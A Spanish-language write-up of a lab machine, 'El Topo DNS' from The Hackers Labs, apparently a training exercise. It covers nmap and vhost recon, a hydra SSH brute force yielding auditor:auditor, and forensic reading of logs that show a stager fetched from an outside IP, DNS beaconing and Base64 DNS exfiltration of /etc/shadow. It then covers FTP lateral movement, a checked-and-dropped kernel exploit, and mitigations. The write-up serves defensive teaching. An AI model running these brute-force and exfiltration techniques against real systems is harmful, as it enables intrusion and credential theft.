El Topo DNS
User obtenido (
auditor), sin escalada a root — máquina de tipo DFIR/Blue Team.
Máquina: The Hackers Labs — El Topo DNS
SO: Debian 12 (Bookworm), kernel
6.1.0-26-amd64 (6.1.112-1, compilado
2024-09-30) Vector de entrada: Fuerza bruta dirigida
contra SSH (credencial débil auditor:auditor), usando
wordlists ya presentes en el propio escenario del laboratorio
Escalada de privilegios: No aplica. Se evaluó
CVE-2024-1086 (privesc universal en nf_tables)
pero el kernel de esta VM ya está parcheado. El objetivo real de la
máquina es un análisis forense (DFIR) de un incidente
ya registrado en logs accesibles como usuario auditor.
Herramientas principales: nmap
(descubrimiento de puertos/servicios), curl (peticiones
HTTP manuales), ffuf/gobuster (fuzzing web, ya
ejecutados en fases previas), hydra (fuerza bruta SSH),
sshpass+ssh (acceso remoto no interactivo),
base64 (decodificación de datos exfiltrados por DNS)
Resumen de acceso obtenido
| Ítem | Valor | Obtenido en |
|---|---|---|
| Usuario inicial | ████████████ | Fase 2 |
user.txt / root.txt |
No existen en esta máquina | Fase 4 (verificado, no encontrados) |
| Objetivo real de la máquina | Responder correctamente el cuestionario forense sobre el incidente
en dfir_eltopo/ |
Fase 3 |
Cuestionario forense (DFIR) — resultado final
| # | Pregunta | Respuesta | Evidencia |
|---|---|---|---|
| 1 | IP externa que sirvió el stager p.sh |
████████████ | access.log |
| 2 | Fichero PHP de entrada más probable | ████████████ | access.log |
| 3 | FQDN de la primera consulta de beaconing C2 | ████████████ | dns.log |
| 4 | Dominio (sin subdominios de datos) usado para exfiltrar el shadow | ████████████ | dns.log |
| 5 | Protocolo usado para pivotar a 10.0.0.50 |
████████████ | ftp.log |
| 6 | Usuario de autenticación en el servidor interno | ████████████ | ftp.log |
| 7 | Contraseña del movimiento lateral exitoso | ████████████ | ftp.log |
| 8 | Fichero exacto robado del servidor interno | ████████████ | ftp.log |
Glosario rápido
- Stager: un script pequeño (aquí
p.sh) cuya única función es descargar y lanzar el payload real de un atacante; se usa para no meter todo el malware de una sola vez y así ser más difícil de detectar. - C2 (Command & Control) / beaconing: el servidor comprometido “llama a casa” periódicamente a un dominio controlado por el atacante para recibir órdenes. Cada llamada es un “beacon” (latido).
- Exfiltración por DNS (DNS tunneling): técnica para
sacar datos robados de una red disfrazándolos como consultas DNS
normales — se corta el fichero en trozos, cada trozo se codifica (aquí
en Base64) y se mete como si fuera un subdominio a resolver
(
<trozo>.data.eltopo.thl). Como el tráfico DNS casi nunca se bloquea ni se inspecciona a fondo, es un canal de exfiltración muy sigiloso. - Movimiento lateral / pivoting: una vez dentro de
una máquina, el atacante la usa como trampolín para atacar otras
máquinas de la misma red interna (aquí, saltar de la web pública a
10.0.0.50por FTP). /etc/shadow: fichero de Linux que guarda las contraseñas de los usuarios, no en texto plano sino como hash (una huella digital irreversible de la contraseña). Robarlo permite intentar “romper” esos hashes offline con diccionarios de contraseñas.- Vhost (virtual host): forma de que un mismo
servidor Apache sirva webs distintas según el
Host:que mande el navegador. Se descarta probando muchos nombres de host contra la misma IP. - UAF (Use-After-Free): clase de bug de memoria en
C/C++ (y en el kernel de Linux) donde el programa sigue usando un
puntero después de haber liberado la memoria a la que apuntaba; un
atacante puede aprovechar ese hueco para ejecutar código con privilegios
más altos. Es el tipo de bug detrás de
CVE-2024-1086.
Herramientas necesarias
nmap: escáner de puertos/servicios; se usa para saber qué está expuesto en la máquina (TCP y UDP).curl: cliente HTTP de línea de comandos; sirve para probar rutas y cabecerasHost:a mano sin necesitar un navegador.ffuf/gobuster: herramientas de fuzzing — prueban miles de nombres de un diccionario contra el servidor para descubrir directorios, ficheros o vhosts ocultos.hydra: herramienta de fuerza bruta de credenciales contra servicios de red (SSH, FTP, HTTP, etc.).sshpass+ssh: permiten iniciar sesión SSH pasando la contraseña de forma no interactiva, útil para automatizar comandos remotos.base64: codifica/decodifica datos en Base64; necesario para reconstruir el fichero que el atacante escondió dentro de subdominios DNS.git/make: para clonar y compilar el PoC del exploitCVE-2024-1086que se evaluó (y se descartó) como vía de escalada.
Fase 0 — Preparación del laboratorio
Se descargó el .ova oficial de TheHackersLabs
(comprimido en un .zip) y se dejó en la carpeta del
proyecto.
unzip "The Hackers Labs - El Topo DNS.zip"
VBoxManage import "The Hackers Labs - El Topo DNS.ova" --dry-run--dry-run muestra qué se importaría sin crear nada
todavía. Esta máquina es más grande que las anteriores del laboratorio:
4 CPUs, 4096 MB de RAM (Banco y RockstarS usaban 1
CPU/2048 MB) — el nombre (“El Topo DNS”) y el tamaño
sugieren que probablemente corre más de un servicio (quizás un servidor
DNS de verdad, más pesado que un simple Apache+PHP). La tarjeta de red
también venía en modo Bridged por defecto (igual que
RockstarS); se fuerza a host-only, consistente con el resto del
laboratorio:
VBoxManage import "The Hackers Labs - El Topo DNS.ova"
VBoxManage modifyvm "The Hackers Labs - El Topo DNS" --nic1 hostonly --hostonlyadapter1 vboxnet0
VBoxManage startvm "The Hackers Labs - El Topo DNS" --type headlessPara reproducir desde cero, con la VM apagada:
VBoxManage controlvm "The Hackers Labs - El Topo DNS" poweroff
VBoxManage startvm "The Hackers Labs - El Topo DNS" --type headlessAl arrancar, la consola de la VM (capturada en
loot/console.png) confirma el objetivo:
[+] Creador: Oscar
[+] Nombre: El Topo DNS
[+] IP: 192.168.56.105
debian login: _
Fase 1 — Reconocimiento de red
1.1 Escaneo TCP completo
nmap -sC -sV -p- --min-rate 2000 -oN loot/nmap-tcp-full.txt 192.168.56.105-p-: escanea los 65535 puertos TCP (no solo los “top 1000” por defecto) — imprescindible para no dejar nada fuera.-sC: corre los scripts básicos de detección denmap(banners, info del servicio).-sV: intenta identificar la versión exacta de cada servicio.--min-rate 2000: fuerza a enviar paquetes más rápido, para que un escaneo de todos los puertos no tarde una eternidad.
Resultado: solo dos puertos abiertos.
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
1.2 Escaneo UDP (por el nombre “DNS” de la máquina)
Dado que la máquina se llama “El Topo DNS”, la sospecha inicial es que corriera un servidor DNS real (puerto 53/UDP). Se comprueba:
sudo nmap -sU --top-ports 30 -T4 192.168.56.105 -oN loot/nmap-udp-top30.txt-sU: escaneo UDP (necesita privilegios de root, por esosudo).--top-ports 30: solo los 30 puertos UDP más comunes, para no tardar horas (UDP es mucho más lento de escanear que TCP).
Resultado clave: 53/udp aparece como
closed — no hay ningún servidor DNS real
escuchando. El resto de puertos salen como open|filtered,
que en UDP casi siempre es ruido (nmap no puede distinguir “abierto” de
“filtrado” cuando no llega respuesta). Conclusión: el nombre “DNS” es
temático del incidente que hay que investigar (spoiler: la exfiltración
de la Fase 3 va por DNS), no de un servicio real
corriendo aquí.
1.3 Descubrimiento de vhosts (dead end, pero hay que descartarlo)
El log forense que se analiza más adelante menciona páginas como
contact.php, about.html,
upload.php que no existen en la web por
defecto de Apache. La hipótesis era que vivieran en un vhost
(nombre de dominio) distinto sobre la misma IP. Ya se había probado con
un diccionario grande:
ffuf -u http://192.168.56.105/ -H "Host: FUZZ.thl" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-fs 10701 -o loot/ffuf-vhost.json-H "Host: FUZZ.thl": prueba cada palabra del diccionario como subdominio de.thl, cambiando la cabeceraHost:en cada petición (así se descubren vhosts que no están enlazados en el DNS).-fs 10701: filtra (oculta) las respuestas de tamaño 10701 bytes — que es el tamaño exacto de la página de Apache por defecto —, para quedarnos solo con vhosts que devuelvan algo distinto.
Resultado: "results": [], ningún vhost. Para confirmarlo
a mano, se probaron nombres temáticos directamente:
curl -s -o /dev/null -w "%{http_code} %{size_download}" -H "Host: eltopo.thl" http://192.168.56.105/Repitiendo esto con www.eltopo.thl,
admin.mindkeep.thl, mole.thl, etc.,
todos devuelven 200 y exactamente
el mismo tamaño (10701) que la petición sin cabecera
Host: — es decir, Apache no tiene vhosts distintos
configurados, todo cae a la misma página por defecto. El fuzzing de
vhosts no estaba mal ejecutado: simplemente no hay nada ahí. La web
pública no es el vector de entrada de esta máquina.
Fase 2 — Vector de acceso inicial: fuerza bruta SSH
Con solo 22/tcp y 80/tcp abiertos, y 80/tcp completamente vacío, el
único servicio atacable es SSH. En el propio material de la máquina
(carpeta loot/) ya había tres ficheros que parecían
diseñados para esto:
root_candidates.txt— 17 nombres de usuario candidatos (root,auditor,oscar,mole,insider, etc.)custom_wordlist.txtytheme_words.txt— palabras temáticas para usar como contraseñas
Esto es la misma lógica que ya funcionó en la máquina
RockstarS de este mismo laboratorio: cuando la
superficie de ataque es mínima y el propio escenario deja pistas de
nombres/temas, el vector es un diccionario dirigido (no un
rockyou.txt genérico de 14 millones de líneas).
cat loot/custom_wordlist.txt loot/theme_words.txt loot/root_candidates.txt | sort -u > eltopo_passwords.txt
hydra -L loot/root_candidates.txt -P eltopo_passwords.txt -t 4 -f ssh://192.168.56.105cat ... | sort -u: junta las tres listas y elimina duplicados — así las contraseñas incluyen también los propios nombres de usuario (útil porque a veces la contraseña es igual al usuario).-L: fichero de usuarios a probar.-P: fichero de contraseñas a probar.-t 4: 4 intentos en paralelo (bajo a propósito, para no saturar el servicio ni disparar un posible bloqueo).-f: para en cuanto encuentra la primera credencial válida (no hace falta seguir probando).
Resultado, en menos de 2 minutos (833 combinaciones en total):
[22][ssh] host: 192.168.56.105 login: auditor password: auditor
Confirmación del acceso:
sshpass -p 'auditor' ssh [email protected] "id; hostname; ls -la"uid=1001(auditor) gid=1001(auditor) grupos=1001(auditor),100(users)
debian
drwxr-xr-x 2 root root 4096 nov 10 2025 dfir_eltopo
El propio usuario auditor (nombre revelador: es la
cuenta pensada para que un analista SOC investigue el incidente) tiene
en su home una carpeta dfir_eltopo, propiedad de
root pero legible por cualquiera
(rwxr-xr-x). Ahí está el verdadero reto de la máquina.
Fase 3 — Análisis forense (correlación de logs)
Dentro de dfir_eltopo/ hay 4 ficheros que documentan, de
principio a fin, un incidente de seguridad ya ocurrido:
ls -la /home/auditor/dfir_eltopo/
# access.log (405.097 bytes) — logs HTTP del servidor web público
# dns.log (78.000 bytes) — logs de resolución DNS del servidor web
# ftp.log (638 bytes) — logs de la sesión FTP hacia la red interna
# etc_shadow_artifact.txt — el fragmento de /etc/shadow que se robóEl objetivo no es “conseguir una flag” con formato
HTL{...}, sino reconstruir la cadena de ataque
completa leyendo estos logs, como haría un analista de un SOC
(Security Operations Center) durante una respuesta a incidentes
real.
3.1 — Punto de entrada web y stager
grep -oP '"\K(GET|POST|PUT|HEAD)[^"]+' access.log | awk '{print $1,$2}' | sort | uniq -c | sort -rnEste comando extrae el método y la ruta de cada petición HTTP y
cuenta cuántas veces se repite cada una. El log tiene más de 5.000
líneas, pero el 99% es tráfico normal de visitantes
(GET /index.html, GET /about.html,
GET /contact.php, GET /images/logo.png,
repetido cientos de veces desde IPs 10.1.1.x, que es ruido
de fondo simulado). Filtrando ese ruido quedan solo dos líneas
anómalas:
1 POST /upload.php
1 GET http://162.248.1.100/p.sh
Mirando el log en orden, ambas ocurren en el mismo segundo
(09:10:13) y una justo detrás de la otra:
1.2.3.4 - - [10/nov/2025:09:10:13 +0100] "POST /upload.php HTTP/1.1" 200 150
192.168.1.10 - - [10/nov/2025:09:10:13 +0100] "GET http://162.248.1.100/p.sh HTTP/1.1" 200 1024
Lectura: 1.2.3.4 (IP externa, del
propio atacante) manda un POST a /upload.php —
el único endpoint de subida de ficheros del sitio, y por tanto el
punto de entrada más probable (subir un fichero
malicioso, típico de una vulnerabilidad de unrestricted file
upload). Inmediatamente después, es el propio servidor web
comprometido (192.168.1.10) el que sale a buscar
p.sh a una IP externa distinta (162.248.1.100)
— ese es el stager: un script que, una vez ejecutado el
webshell subido por upload.php, descarga la siguiente etapa
del ataque.
- Pregunta 1 → IP que sirvió
p.sh:162.248.1.100 - Pregunta 2 → fichero PHP de entrada:
upload.php
3.2 — Beaconing de C2
grep -oP 'Query: A\? \K\S+' dns.log | sort -uEntre el ruido de dominios legítimos (www.google.com,
www.github.com, www.microsoft.com,
www.updates.ubuntu.com, www.cdn.example.com —
tráfico normal de cualquier servidor Linux comprobando actualizaciones,
etc.) aparecen tres consultas fuera de lugar:
1.beacon.c2.eltopo.thl
2.beacon.c2.eltopo.thl
3.beacon.c2.eltopo.thl
El patrón N.beacon.c2.<dominio> es característico
de un malware que “late” contra su C2 subiendo un contador o ID en el
propio subdominio (así el operador ve, solo con los logs DNS, cuántas
veces ha llamado la máquina infectada). Comprobando el orden de
aparición en el fichero (grep -n):
65: ... Query: A? 1.beacon.c2.eltopo.thl
623: ... Query: A? 2.beacon.c2.eltopo.thl
690: ... Query: A? 3.beacon.c2.eltopo.thl
Pregunta 3 → primera consulta de beaconing:
1.beacon.c2.eltopo.thl
3.3 — Exfiltración de
/etc/shadow vía túnel DNS
En esa misma lista de dominios únicos aparecen 5 subdominios muy
largos y sin sentido aparente, todos terminados en
.data.eltopo.thl:
OTk5Ojc6OjoK.data.eltopo.thl
Oio6MTgwMDA6MDo5OTk5OTo3Ojo6CmRhZW1vbjoqOjE4MDAwOjA6OTk5OTk6.data.eltopo.thl
Nzo6OgpkZXZ1c2VyOiQ2JHJvdW5kcz02NTYwMDAkYWJjZGVmZyRoaWprbG1u.data.eltopo.thl
cm9vdDokNiRzYWx0eSRULlVWcy4uLjoxODAwMDowOjk5OTk5Ojc6OjoKYmlu.data.eltopo.thl
b3AuLi46MTgwMDE6MDo5OTk5OTo3Ojo6CmZ0cHVzZXI6KjoxODAwMTowOjk5.data.eltopo.thl
Esto es DNS tunneling de manual: cada subdominio,
antes de .data.eltopo.thl, es un trozo de datos codificado
en Base64. Al no caber un fichero entero en un solo nombre de dominio
(máximo 63 caracteres por etiqueta), el atacante lo corta en fragmentos
y hace una consulta DNS por cada uno; el servidor DNS que controla
(eltopo.thl) simplemente registra qué le preguntaron, sin
necesidad de responder nada útil.
Decodificando cada trozo:
echo "cm9vdDokNiRzYWx0eSRULlVWcy4uLjoxODAwMDowOjk5OTk5Ojc6OjoKYmlu" | base64 -d
# root:$6$salty$T.UVs...:18000:0:99999:7:::
# binY reensamblando los 5 trozos en el orden correcto (por contenido, ya que en el log DNS están mezclados entre el ruido de dominios legítimos y no van seguidos):
root:$6$salty$T.UVs...:18000:0:99999:7:::
bin:*:18000:0:99999:7:::
daemon:*:18000:0:99999:7:::
devuser:$6$rounds=656000$abcdefg$hijklmnop...:18001:0:99999:7:::
ftpuser:*:18001:0:99999:7:::
Esto coincide exactamente con el fichero
etc_shadow_artifact.txt que ya estaba en
dfir_eltopo/ — confirma que el fichero exfiltrado es
/etc/shadow (la base de datos de
contraseñas del sistema), sacado entero por consultas DNS.
Pregunta 4 → dominio raíz usado para exfiltrar (sin los
subdominios de datos variables): eltopo.thl — el
canal completo es <blob_base64>.data.eltopo.thl, pero
el dominio que realmente controla el atacante (el mismo que usa para el
beaconing en c2.eltopo.thl) es eltopo.thl.
3.4 — Movimiento lateral por FTP
cat ftp.log[09:10:13] 192.168.1.10 -> 10.0.0.50 FTP 220 (vsFTPd 3.0.3)
[09:10:13] 192.168.1.10 -> 10.0.0.50 FTP USER devuser
[09:10:13] 10.0.0.50 -> 192.168.1.10 FTP 331 Please specify the password.
[09:10:13] 192.168.1.10 -> 10.0.0.50 FTP PASS developer123
[09:10:13] 10.0.0.50 -> 192.168.1.10 FTP 230 Login successful.
[09:10:13] 192.168.1.10 -> 10.0.0.50 FTP LIST
[09:10:13] 10.0.0.50 -> 192.168.1.10 FTP 226 Directory send OK.
[09:10:13] 192.168.1.10 -> 10.0.0.50 FTP GET client_database_backup.zip
[09:10:13] 10.0.0.50 -> 192.168.1.10 FTP 150 Opening BINARY mode data connection.
[09:10:13] 10.0.0.50 -> 192.168.1.10 FTP 226 Transfer complete.
Este log, en texto plano, cierra el círculo: el atacante crackeó
offline el hash de devuser robado en el paso anterior (su
contraseña real, developer123, coincide exactamente con una
entrada de custom_wordlist.txt, la misma lista que ya
usamos nosotros para el ataque inicial — reutilización de contraseñas
también dentro del propio escenario). Con esa credencial válida entró
por FTP (protocolo sin cifrar, se ve todo en claro:
usuario, contraseña y nombre de fichero) al servidor interno
10.0.0.50 y descargó
client_database_backup.zip.
- Pregunta 5 → protocolo del pivote: FTP
- Pregunta 6 → usuario:
devuser - Pregunta 7 → contraseña:
developer123 - Pregunta 8 → fichero robado:
client_database_backup.zip
Fase 4 — Intento de escalada de privilegios (descartado, documentado igual)
En loot/ ya había un repositorio clonado del PoC público
de CVE-2024-1086, una escalada de
privilegios universal en el subsistema nf_tables del kernel
de Linux (un bug de tipo use-after-free, ver glosario) que
funciona en kernels v5.14–v6.6. Antes de
compilarlo y lanzarlo a ciegas, se verifica si aplica:
uname -a
# Linux debian 6.1.0-26-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.112-1 (2024-09-30) x86_64El propio README.md del exploit dice textualmente que
las ramas ya parcheadas son v5.15.149+,
v6.1.76+ y v6.6.15+. Nuestro kernel es
6.1.112, muy por encima de 6.1.76 →
está parcheado, el exploit no va a funcionar aquí. Se
descarta sin perder tiempo compilándolo.
Se comprueban además otras vías habituales de escalada, todas cerradas:
sudo -l # "auditor no puede ejecutar sudo"
ls -la /root # Permiso denegado
find / -perm -4000 -type f 2>/dev/null # solo SUID estándar de Debian (passwd, su, mount...)
grep -vE '/nologin|/false' /etc/passwd # solo existen root y auditor
find / \( -iname user.txt -o -iname root.txt \) 2>/dev/null # nada, en todo el discoConclusión: esta máquina no tiene una escalada de
privilegios “tradicional” a root. Su diseño es el de un
reto de DFIR / Blue Team: el acceso como
auditor ya da todo lo necesario (los 4 logs) para resolver
el incidente por análisis, sin necesitar más privilegios. Se documenta
el intento fallido en vez de omitirlo, para que quien repita esta
máquina no pierda tiempo compilando el exploit sin comprobar antes la
versión del kernel.
Diagrama de la cadena de ataque completa
Atacante (1.2.3.4) Servidor web (192.168.1.10) Infraestructura del atacante
| | |
|--- POST /upload.php (webshell) ------->| |
| |--- GET p.sh -------------------------> 162.248.1.100 (stager)
| |--- DNS A? 1/2/3.beacon.c2.eltopo.thl -> c2.eltopo.thl (beaconing)
| |--- lee /etc/shadow |
| |--- DNS A? <b64>.data.eltopo.thl x5 --> eltopo.thl (exfil DNS)
|<---------------- crackea hash de devuser (developer123, misma wordlist) --------|
| | |
| Red interna
| |
|------------------------------- FTP devuser:developer123 -----------------------> 10.0.0.50 (vsFTPd 3.0.3)
|<------------------------------ GET client_database_backup.zip ------------------|
Causas raíz y mitigación
| Paso | Causa raíz | Mitigación |
|---|---|---|
upload.php |
Subida de ficheros sin validar tipo/extensión ni bloquear ejecución en el directorio de subida | Validar extensión y contenido real (magic bytes), servir uploads desde un directorio sin permiso de ejecución, o desde otro dominio/CDN |
Descarga de p.sh |
El servidor web tiene salida a Internet sin restricciones | Filtrado de salida (egress filtering): solo permitir que el servidor web hable con los destinos que necesita (repos de paquetes, APIs concretas), nunca IPs arbitrarias |
| Beaconing C2 no detectado | Sin monitorización de DNS ni de tráfico saliente anómalo | Logging y análisis de DNS (volumen de consultas, entropía de subdominios, dominios recién registrados) |
| Exfiltración por DNS | Igual que el anterior: nadie inspecciona qué se resuelve, solo que se resuelva | Detección de túneles DNS (subdominios largos/aleatorios, alto
volumen de consultas A a un mismo dominio en poco tiempo),
DNS sinkholing |
Reutilización de contraseña
(devuser/developer123) |
Contraseña débil y predecible, coincide con una wordlist de “palabras temáticas” | Política de contraseñas fuertes + gestor de contraseñas, sin reutilizar entre cuentas de dev/producción |
| FTP en texto plano | Protocolo legado que transmite usuario/contraseña sin cifrar | Sustituir por SFTP/FTPS, segmentar la red para que el servidor público no tenga ruta directa a servidores internos |
Acceso SSH inicial (auditor:auditor) |
Contraseña igual al usuario, sin política de bloqueo | Contraseñas fuertes, fail2ban / bloqueo tras N
intentos, preferir autenticación por clave pública |
«El misterio de la existencia humana no está en vivir, sino en saber para qué se vive.»
— Fiódor Dostoyevski, Los hermanos Karamázov